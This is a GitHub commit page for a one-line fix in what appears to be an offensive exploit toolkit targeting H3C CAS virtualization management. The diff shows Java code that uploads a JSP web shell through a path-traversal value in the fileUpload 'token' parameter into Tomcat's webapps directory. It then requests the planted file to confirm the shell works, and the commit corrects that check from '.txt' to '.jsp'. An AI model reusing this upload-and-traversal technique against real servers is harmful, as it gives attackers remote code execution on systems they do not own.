Skip to content

Commit

Permalink
Merge pull request #14 from dbgee/patch-1
Browse files Browse the repository at this point in the history
Update cas_cvm_upload.java 文件名校验
  • Loading branch information
White-hua authored Mar 25, 2023
2 parents c8877e6 + ec1492c commit ee7412a
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion src/main/java/exp/equipment/h3c/cas_cvm_upload.java
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ private boolean shell(String url,TextArea textArea){

Response post = HttpTools.post(url + "/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/nishizhu.jsp&name=222", payload, head, "utf-8");

Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.txt", new HashMap<String, String>(), "utf-8");
Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.jsp", new HashMap<String, String>(), "utf-8");
if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){
Platform.runLater(() -> {
textArea.appendText(
Expand Down

0 comments on commit ee7412a

Please sign in to comment.